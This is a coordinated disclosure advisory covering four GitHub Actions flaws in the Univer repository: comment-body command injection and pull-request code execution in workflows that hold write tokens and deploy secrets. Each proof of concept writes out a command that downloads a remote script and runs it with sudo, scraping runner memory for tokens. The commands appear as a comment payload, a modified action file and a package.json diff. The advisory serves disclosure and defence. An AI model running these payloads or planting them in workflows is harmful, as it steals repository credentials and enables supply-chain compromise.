
Coordinated Disclosure Timeline
Summary
Univer uses multiple actions workflows vulnerable to actions injections.
Project
dream-num/univer
Tested Version
Details
Issue 1: Code injection in .github/workflows/update-snapshots.yml
(GHSL-2024-209
)
The update-snapshots.yml
workflow runs on any of the comment created on an issue or a PR, and executes echo ${{ github.event.comment.body }}
– a command with the content of a given comment, which could allow an attacker to execute arbitrary commands on an actions runner.
name: 🎭 Update Snapshots on: # It looks like you can't target PRs-only comments: # https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment # So we must run this workflow every time a new comment is added to issues # and pull requests issue_comment: types: [created] jobs: echos: runs-on: ubuntu-latest steps: - name: Debug echo is conditions run: echo ${{ github.event.comment.body }}
Proof of Concept
- Comment on any issue or pull request with this payload, which will exfiltrate the GITHUB_TOKEN.
""; curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
- Go to the “Actions” tab and check the
Update snapshot
workflow for the above comment. You should see base64 encoded token in the logs.
Impact
The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.
GITHUB_TOKEN Permissions Actions: write Attestations: write Checks: write Contents: write Deployments: write Discussions: write Issues: write Metadata: read Packages: write Pages: write PullRequests: write RepositoryProjects: write SecurityEvents: write Statuses: write
Resources
- https://github.com/nikitastupin/pwnhub/blob/main/writings/assessing-impact.md#contents-wirte
- https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/
- https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
Issue 2: Execution of untrusted code in update-snapshots.yml
(GHSL-2024-210
)
The update-snapshots.yml
workflow runs on any of the comment created on an issue or a PR. The update-snapshots
job executes if the comment is /update-snapshots
and executes the local action ./.github/actions/setup-node/action.yml
on line 65. An attacker could create a pull request with a changed ./.github/actions/setup-node/action.yml
script and run arbitrary code on the runner.
name: 🎭 Update Snapshots on: # It looks like you can't target PRs-only comments: # https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment # So we must run this workflow every time a new comment is added to issues # and pull requests issue_comment: types: [created] --- code cut for readability update_snapshots: # Run this job only on comments of pull requests that strictly match # the "/update-snapshots" string if: ${{ github.event.issue.pull_request && github.event.comment.body == '/update-snapshots' }} timeout-minutes: 10 runs-on: ubuntu-latest steps: # Checkout and do a deep fetch to load all commit IDs - uses: actions/checkout@v4 with: fetch-depth: 0 # Load all commits token: ${{ secrets.GITHUB_TOKEN }} --- code cut for readability - name: Setup Node.js uses: ./.github/actions/setup-node
Proof of Concept
- Create a pull request with the
./.github/actions/setup-node
changed to:
name: Node Setup
description: Node.js setup for CI, including cache configuration runs: using: composite steps: - run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64 shell: bash
- Comment on the pull request:
/update-snapshots
- Go to the “Actions” tab and check the
Update snapshot
workflow for the above comment. You should see base64 encoded token in the logs for theNode Setup
step.
Impact
The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.
GITHUB_TOKEN Permissions Actions: write Attestations: write Checks: write Contents: write Deployments: write Discussions: write Issues: write Metadata: read Packages: write Pages: write PullRequests: write RepositoryProjects: write SecurityEvents: write Statuses: write
Resources
- https://github.com/nikitastupin/pwnhub/blob/main/writings/assessing-impact.md#contents-wirte
- https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/
- https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
Issue 3: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml
build-demo
job (GHSL-2024-211
)
The .github/workflows/preview-deploy.yml
workflow runs after the build.yml
completes (which runs on each push or pull request to the dev
branch). the build-demo
executes the local action ./.github/actions/setup-node/action.yml
on line 110 and runs scripts from the package.json file on line 118.
An attacker could create a pull request with a changed .github/setup-node/action.yml
file or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.
name: 📤 Preview Deploy on: workflow_run: workflows: - 🎬 Setup types: - completed permissions: contents: read pull-requests: write jobs:
--- code cut for readability build-demo: runs-on: ubuntu-latest needs: [setup] outputs: preview-url: ${{ steps.vercel-demo-dev.outputs.preview-url == '' && steps.vercel-demo.outputs.preview-url || steps.vercel-demo-dev.outputs.preview-url }} commit-message: ${{ steps.commit-message.outputs.value }} steps: - name: Checkout uses: actions/checkout@v4 with: repository: ${{ needs.setup.outputs.repo }} ref: ${{ needs.setup.outputs.ref }} - name: Setup Node.js uses: ./.github/actions/setup-node
Proof of Concept
- Create a pull request with the
package.json
changed to:@@ -32,7 +32,7 @@ "coverage": "turbo coverage -- --passWithNoTests", "build": "turbo build --no-cache --concurrency=50% --filter=!./common/* && pnpm --filter @univerjs/umd build:umd", "build:ci": "turbo build --concurrency=100% --filter=!./common/*", - "build:demo": "pnpm --filter univer-examples build:demo", + "build:demo": "curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64", "build:e2e": "pnpm --filter univer-examples build:e2e", "serve:e2e": "serve ./examples/local", "test:e2e": "playwright test",
- Go to the “Actions” tab and check the
Preview Deploy
workflow for the PR. You should see a base64 encoded token in thebuild-demo
jobBuild demo
step.
Impact
The job is run with access to a number of secrets:
- GITHUB_TOKEN with permissions:
GITHUB_TOKEN Permissions Contents: read Metadata: read PullRequests: write Secret source: Actions
- VERCEL_TOKEN
- ORG_ID
- PROJECT_ID
- PROJECT_ID_STORYBOOK
which an attacker would be able to exfiltrate.
Issue 4: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml
build-storybook
job (GHSL-2024-212
)
The .github/workflows/preview-deploy.yml
workflow runs after the build.yml
completes (which runs on each push or pull request to the dev
branch). The build-storybook
job executes the local action ./.github/actions/setup-node/action.yml
on line 159 and runs scripts from the package.json file on line 163.
An attacker could create a pull request with a changed .github/setup-node/action.yml
or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.
name: 📤 Preview Deploy on: workflow_run: workflows: - 🎬 Setup types: - completed permissions: contents: read pull-requests: write jobs:
--- code cut for readability build-storybook: runs-on: ubuntu-latest needs: [setup] outputs: preview-url: ${{ steps.vercel-storybook-dev.outputs.preview-url == '' && steps.vercel-storybook.outputs.preview-url || steps.vercel-storybook-dev.outputs.preview-url }} steps: - name: Checkout uses: actions/checkout@v4 with: repository: ${{ needs.setup.outputs.repo }} ref: ${{ needs.setup.outputs.ref }} - name: Setup Node.js uses: ./.github/actions/setup-node # ================= Deploy Storybook ================= - name: 📦 Build storybook run: pnpm storybook:build
Proof of Concept
- Create a pull request with the
./.github/actions/setup-node
changed to: - Go to the “Actions” tab and check the
Preview Deploy
workflow for the above PR. You should see base64 encoded token in the logs for thebuild-demo
step.
name: Node Setup
description: Node.js setup for CI, including cache configuration runs: using: composite steps: - run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64 shell: bash
- Go to the “Actions” tab and check the
Preview Deploy
workflow for the PR. You should see a base64 encoded token in thebuild-storybook
jobSetup Node.js
step.
Impact
The job is run with access to a number of secrets:
- GITHUB_TOKEN with permissions:
GITHUB_TOKEN Permissions Contents: read Metadata: read PullRequests: write Secret source: Actions
- VERCEL_TOKEN
- ORG_ID
- PROJECT_ID
- PROJECT_ID_STORYBOOK
which an attacker would be able to exfiltrate.
Credit
These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-209
, GHSL-2024-210
, GHSL-2024-211
, or GHSL-2024-212
in any communication regarding these issues.